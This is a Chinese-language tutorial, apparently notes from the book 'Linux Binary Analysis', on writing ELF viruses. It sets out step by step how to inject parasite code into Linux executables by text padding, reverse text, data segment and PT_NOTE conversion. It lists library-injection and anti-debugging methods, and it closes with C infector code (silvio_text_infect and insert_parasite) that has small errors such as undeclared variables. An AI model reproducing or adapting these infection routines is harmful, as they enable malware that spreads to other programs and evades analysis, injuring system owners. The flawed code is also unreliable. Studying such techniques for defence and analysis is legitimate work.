ELF 病毒的本質
每個可執行文件都有一個控制流,也叫執行路徑。ELF 病毒的首要目標是劫持控制流,暫時改變程序的執行路徑來執行寄生代碼。
寄生代碼通常負責設置鈎子來劫持函數,還會將自身代碼復制到沒有感染病毒的程序中。一旦寄生代碼執行完成,通常會跳轉到原始的入口點或程序正常的執行路徑上。通過這種方式,宿主程序貌似是正常執行的,病毒就不容易被發現
特點:
- 能感染可執行文件
- 寄生代碼必須是獨立的,能夠在物理上寄存與另一個程序內部,不能依賴動態鏈接器鏈接外部的庫。獨立於其他文件、代碼庫、程序等。
- 被感染的宿主文件能繼續執行並傳播病毒
設計ELF病毒的挑戰
獨立寄生代碼
原因:每次感染的地址都會變化,寄生代碼每次注入二進制文件中的位置也會變化,所以寄存程序必須能夠動態計算出所在的內存地址。寄生代碼可以使用IP相對代碼,通過函數相對指令指針的偏移量來計算出代碼的地址來執行函數。
解決方案:使用gcc的-nostdlib
或-fpic
-pie
選項可以將其編譯成位置獨立的代碼
字符串存儲復雜度
原因:在病毒代碼處理字符串時,如果遇到這樣的代碼const char *name = "elfvirus";
,編譯器會將字符串數據存放在.rodata節中,然后通過地址對字符串進行引用,一旦使用病毒注入到其他程序中,這個地址就會失效
解決方案:
- 編寫病毒代碼時使用棧來存放字符串
- 用gcc的
-N
選項,將text段和data段合並到一個單獨的段中,使這個段具有可讀、可寫、可執行權限,這樣病毒在感染時就會將這整個段注入,並包括了.rodata節的字符串數據
尋找存放寄生代碼的合理空間
問題: 在設計病毒時首先要回答的問題之一便是要將病毒體(病毒的代碼)注入到哪里?換言之,寄生代碼要寄存在宿主代碼中的什么位置?不同的二進制格式需要有不同的注入方式,但是都需要根據 ELF 頭的值進行適當的調整
面臨的挑戰不是找到空間存放代碼,而是去調整 ELF 二進制文件,以便於能夠去使用空間,同時要使得可執行文件看起來正常執行,並能夠保證病毒可以潛藏在 ELF 文件中以 ELF 規范正常執行。在修改二進制文件和文件布局時,需要考慮許多問題,如頁對齊、偏移調整、地址調整等
將執行控制流傳給寄生代碼
問題:在許多情況下,完全可以調整 ELF 文件頭來將入口點指向寄生代碼。這樣做比較可靠,但是也會非常明顯。如果入口點被修改后指向了寄生代碼,就可以使用 readelf –h 命令查看入口點,立即就能知道寄生代碼的位置。
方案:找一個合適的位置來插入/修改一個分支,通過分支跳轉到寄生代碼,如插入一個 jmp 或者重寫函數指針。一個比較合適的地方就是.ctors 或者.init_array 節,這兩個節中存放着函數
的指針。如果不介意宿主程序執行完之后再執行寄生代碼,可以使用.dtors或.fini_array 節。
ELF 病毒寄生代碼感染方法
Silvio 填充感染
原理:利用了內存中 text段和 data 段之間存在的一頁大小的填充空間,在磁盤上,text 段和 data 段是緊挨着的,不過可以利用這兩個段之間的區域作為病毒體的存放區域
.text感染算法
- 增加ELF文件頭中的ehdr->e_shoff(節表偏移)的PAGE_SIZE(頁長度)
- 定位text段的phdr
修改入口點ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
增加phdr[TEXT].p_filesz(文件長度)的長度為寄生代碼的長度
增加phdr[TEXT].p_memsz(內存長度)的長度為寄生代碼的長度
- 對每個phdr(程序頭),對應段若在寄生代碼之后,則根據頁長度增加對應的偏移
- 找到text段的最后一個shdr(節頭),把shdr[x].sh_size增加為寄生代碼的長度
- 對每個位於寄生代碼插入位置之后shdr,根據頁長度增加對應的偏移
- 將真正的寄生代碼插入到text段的file_base + phdr[TEXT].p_filesz(text段的尾部)
逆向text感染
在允許宿主代碼保持相同虛擬地址的同時感染.text節區的前面部分,我們要逆向擴展text段,將text段的虛擬地址縮減PAGE_ALIGN(parasite_size)。
在現代Linux系統中允許的最小虛擬映射地址是0x1000,也就是text的虛擬地址最多能擴展到0x1000。在64位系統上,默認的text段虛擬地址通常是0x400000,這樣寄生代碼可占用的空間就達到了0x3ff000字節。在32位系統上,默認的text段虛擬地址通常是0x0804800,這就有可能產生更大的病毒。
計算一個可執行文件中可插入的最大寄生代碼大小公式:
max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))
感染算法:
- 將ehdr_eshoff增加為寄生代碼長度
- 找到text段和phdr,保存p_vaddr(虛擬地址)的初始值
根據寄生代碼長度減小p_vaddr和p_paddr(物理地址)
根據寄生代碼長度增大p_filesz和p_memsz
- 遍歷每個程序頭的偏移,根據寄生代碼的長度增加它的值;使得phdr前移,為逆向text擴展騰出空間
- 將ehdr->e_entry設置為原始text段的虛擬地址:
orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
- 根據寄生代碼的長度增加ehdr->e_phoff
- 創建新的二進制文件映射出所有的修改,插入真正的寄生代碼覆蓋舊的二進制文件。
data段感染
data段的數據有R+W權限,而text段來R+X權限,我們可以在未設置NX-bit的系統(32位linux系統)上,不改變data段權限並執行data段中的代碼,這樣對寄生代碼的大小沒有限制。但是要注意為.bss節預留空間,盡管.bss節不占用空間,但是它會在程序運行時給未初始化的遍歷在data段末尾分配空間。
感染算法:
- 將ehdr->e_shoff增加為寄生代碼的長度
- 定位data段的phdr
將ehdr->e_entry指向寄生代碼的位置 phdr->pvaddr + phdr->filesz
將phdr->p_filesz,phdr->p_memsz增加為寄生代碼的長度
- 調整.bss節頭,使其偏移量和地址能反映寄生代碼的尾部
- 設置data段的權限(在設置了NX-bit的系統上,未設置的系統不需要這步)
phdr[DATA].p_flags |= PF_X;
- 使用假名為寄生代碼添加節頭,防止有人執行
/usr/bin/strip <program>
將沒有進行節頭說明的寄生代碼清除掉。 - 創建新的二進制文件映射出所有的修改,插入寄生代碼覆蓋舊的二進制文件。
PT_NOTE 到 PT_LOAD 轉換感染
原理:
將 PT_NOTE 段的類型改為 PT_LOAD,然后將段的位置移到其他所有段之后。當然,也可以通過創建一個 PT_LOAD phdr條目來創建一個新的段,但是由於程序在沒有 PT_NOTE 段時仍將執行,因此
將其轉換為 PT_LOAD 類型。我自己還未在病毒中實現這種感染方法,不過我在 Quenya v0.1 中設計了一項新特性,即允許增加一個新的段。
PT_NOTE 到 PT_LOAD 轉換感染算法
1.定位 data 段 phdr
- 找到 data 段結束的地址: ds_end_addr = phdr->p_vaddr + p_memsz
- 找到 data 段結束的文件偏移量: ds_end_off = phdr->p_offset + p_filesz
- 獲取到可加載段的對齊大小: align_size = phdr->p_align
2.定位 PT_NOTE phdr
- 將 phdr 轉換成 PT_LOAD: phdr->p_type = PT_LOAD;
- 將下面起始地址賦給 phdr: ds_end_addr + align_size
- 將寄生代碼的長度賦給 phdr: phdr->p_filesz += parasite_size;phdr->p_memsz += parasite_size
3.對新建的段進行說明:ehdr->e_shoff += parasite_size
4.創建一個新的二進制文件映射出 ELF 頭的修改和新的段,插入真正的寄生代碼
進程內存病毒和 rootkits——遠程代碼注入技術
共享庫注入
- .so 感染/ET_DYN 感染
- .so 感染——使用 LD_PRELOAD
- 使用 LD_PRELOAD 注入 wicked.so.1
- .so 感染——利用 open()/mmap() shellcode
- .so 感染——使用 dlopen() shellcode
- .so 感染——使用 VDSO 控制技術
text 段代碼注入
可執行文件注入
重定位代碼注入——ET_REL 注入
ELF 反調試和封裝技術
PTRACE_TRACEME 技術
原理:
PTRACE_TRACEME 技術利用了進程追蹤的一項特性—一個程序在同一時間只能被一個進程追蹤,幾乎所有的調試器,包括 GDB,都會使用
ptrace。這項技術的思路就是讓程序追蹤自身,這樣調試器就無法附加到該進程了
SIGTRAP 處理技術
原理:
程序可以設置一個信號處理器來捕獲SIGTRAP 信號,然后故意發出一個斷點指令,信號處理器捕獲到 SIGTRAP信號之后,會將一個全局變量從 0 加到 1。
隨后程序會對這個全局變量進行檢查,看是否已經從 0 加到 1 了,如果是,就說明我們自己的程序捕獲到了斷點,目前還沒有被調試器調試。如果否(即為 0),那就說明目前一定存在調試器在對該程序進行調試。為了防止被調試,程序可以選擇終止自身進程或者退出
static int caught = 0; int sighandle(int sig) { caught++; } int detect_debugger(void) { __asm__ volatile("int3"); if (!caught) { printf("There is a debugger attached!\n"); return 1; } }
/proc/self/status 技術
原理:每個進程都有動態文件,文件中包含了許多信息,其中就存放了進程是否正在被追蹤的相關信息
下面是/proc/self/status 的布局示例,可以通過對此進行解析來檢
測追蹤者或者調試器:
1 ryan@elfmaster:~$ head /proc/self/status 2 Name: head 3 State: R (running) 4 Tgid: 19813 5 Ngid: 0 6 Pid: 19813 7 PPid: 17364 8 TracerPid: 0 9 Uid: 1000 1000 1000 1000 10 Gid: 31337 31337 31337 31337 11 FDSize: 256
上面輸出中顯示的“TracerPid: 0”表示進程沒有被追蹤。程序要檢查自身是否被追蹤,可以打開/proc/slf/status,然后檢查這一項的值
是否為 0。如果不為 0,則說明程序正在被追蹤,就可以終止自身進程或者立即退出
text段填充感染實例
(1)調整 ELF 頭
1 #define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we 2 patch 3 /* movl $addr, %eax; jmp *eax; */ 4 char parasite_shellcode[] = 5 "\xb8\x00\x00\x00\x00" 6 "\xff\xe0" 7 ; 8 int silvio_text_infect(char *host, void *base, void *payload, 9 size_t host_len, size_t parasite_len) 10 { 11 Elf64_Addr o_entry; 12 Elf64_Addr o_text_filesz; 13 Elf64_Addr parasite_vaddr; 14 uint64_t end_of_text; 15 int found_text; 16 uint8_t *mem = (uint8_t *)base; 17 uint8_t *parasite = (uint8_t *)payload; 18 Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem; 19 Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; 20 Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; 21 /* 22 * Adjust program headers 23 */ 24 for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) { 25 if (phdr[i].p_type == PT_LOAD) { 26 if (phdr[i].p_offset == 0) { 27 o_text_filesz = phdr[i].p_filesz; 28 end_of_text = phdr[i].p_offset + 29 phdr[i].p_filesz; 30 parasite_vaddr = phdr[i].p_vaddr + 31 o_text_filesz; 32 phdr[i].p_filesz += parasite_len; 33 phdr[i].p_memsz += parasite_len; 34 for (j = i + 1; j < ehdr->e_phnum; 35 j++) 36 if (phdr[j].p_offset > 37 phdr[i].p_offset + 38 o_text_filesz) 39 phdr[j].p_offset 40 += PAGE_SIZE; 41 } 42 break; 43 } 44 } 45 for (i = 0; i < ehdr->e_shnum; i++) { 46 if (shdr[i].sh_addr > parasite_vaddr) 47 shdr[i].sh_offset += PAGE_SIZE; 48 else 49 if (shdr[i].sh_addr + shdr[i].sh_size == 50 parasite_vaddr) 51 shdr[i].sh_size += parasite_len; 52 } 53 /* 54 * NOTE: Read insert_parasite() src code next 55 */ 56 insert_parasite(host, parasite_len, host_len, 57 base, end_of_text, parasite, 58 JMP_PATCH_OFFSET); 59 return 0; 60 }
(2)插入寄生代碼
1 #define TMP "/tmp/.infected" 2 void insert_parasite(char *hosts_name, size_t psize, size_t hsize, 3 uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t 4 jmp_code_offset) 5 { 6 /* note: jmp_code_offset contains the 7 * offset into the payload shellcode that 8 * has the branch instruction to patch 9 * with the original offset so control 10 * flow can be transferred back to the 11 * host. 12 */ 13 int ofd; 14 unsigned int c; 15 int i, t = 0; 16 open (TMP, O_CREAT | O_WRONLY | O_TRUNC, 17 S_IRUSR|S_IXUSR|S_IWUSR); 18 write (ofd, mem, end_of_text); 19 *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry; 20 write (ofd, parasite, psize); 21 lseek (ofd, PAGE_SIZE - psize, SEEK_CUR); 22 mem += end_of_text; 23 unsigned int sum = end_of_text + PAGE_SIZE; 24 unsigned int last_chunk = hsize - end_of_text; 25 write (ofd, mem, last_chunk); 26 rename (TMP, hosts_name); 27 close (ofd); 28 }
函數應用示例:
1 uint8_t *mem = mmap_host_executable("./some_prog"); 2 silvio_text_infect("./some_prog", mem, parasite_shellcode, 3 parasite_len);
參考資料:
《linux二進制分析》
https://www.anquanke.com/post/id/85256